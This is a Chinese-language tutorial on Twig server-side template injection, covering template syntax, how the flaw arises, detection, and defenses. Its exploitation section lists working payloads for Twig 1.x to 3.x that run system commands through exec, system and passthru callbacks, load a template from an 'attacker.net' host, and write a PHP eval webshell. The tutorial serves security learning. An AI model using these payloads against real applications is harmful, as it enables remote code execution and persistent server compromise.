Twig 模板引擎注入详解
字数 683 2025-08-06 12:20:51
Twig 模板引擎注入(SSTI)详解
1. Twig 基础介绍
Twig 是一个 PHP 模板引擎,由 Symfony 开发人员创建,具有以下特点:
- 快速:将模板编译为优化的 PHP 代码
- 安全:具有沙盒模式评估不受信任的模板代码
- 灵活:允许开发者定义自定义标记和过滤器
Twig 与 PHP 的区别
PHP 代码:
<?php echo $var ?>
<?php echo htmlspecialchars($var, ENT_QUOTES, 'UTF-8') ?>
Twig 等价代码:
{{ var }}
{{ var|escape }}
{{ var|e }} {# shortcut to escape a variable #}
2. Twig 模板设计
基本语法
{% %}:逻辑运算,程序运行{{ }}:打印输出{# #}:注释
变量操作
{{ foo.bar }} 或 {{ foo['bar'] }}
{% set variable_name = value %}
过滤器
{{ name|striptags|title }} {# 链式操作 #}
{{ list|join(', ') }} {# 带参数 #}
{% apply upper %}...{% endapply %}
控制结构
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
模板继承
基础模板 base.html.twig:
<html>
<head>
<title>{% block title %}{% endblock %}</title>
</head>
<body>
{% block body %}{% endblock %}
</body>
</html>
子模板:
{% extends 'base.html.twig' %}
{% block title %}ikun{% endblock %}
{% block body %}jijijiji{% endblock %}
3. Twig SSTI 漏洞
漏洞形成原因
开发者使用未严格过滤的用户输入直接渲染模板:
$twig = new Twig_Environment($loader);
echo $twig->render("attack {$_GET['hacker']}");
漏洞探测
输入测试载荷:
hacker=Mic{# comment #}{{2*8}}OK
如果输出包含计算后的结果(如16),则存在SSTI漏洞。
4. 不同版本漏洞利用
Twig 1.x 版本
存在三个全局变量:
_self:引用当前模板实例_context:引用当前上下文_charset:引用当前字符集
利用方法
- setCache() 方法利用
{{_self.env.setCache("ftp://attacker.net:xxxx")}}
{{_self.env.loadTemplate("恶意模板名")}}
- getFilter() 方法利用
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
Twig 2.x & 3.x 版本
map 过滤器利用
{{["ls"]|map("system")}}
{{{"<?php @eval($_POST['attack']);?>":"文件地址"}|map("file_put_contents")}}
filter 过滤器利用
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
reduce 过滤器利用
{{[0, 0]|reduce("system", "id")}}
sort 过滤器利用
{{["id", 0]|sort("system")}}
5. 防御措施
- 避免直接渲染用户输入
- 使用安全的模板渲染方式:
$twig->render('template.html', ['var' => $user_input]);
- 及时更新Twig到最新版本
- 启用Twig的沙盒模式限制可用功能
参考资源
- Twig官方文档
- TWIG全版本通用SSTI payloads
- Twig模板注入攻击(SSTI)的原理和扫描检测方法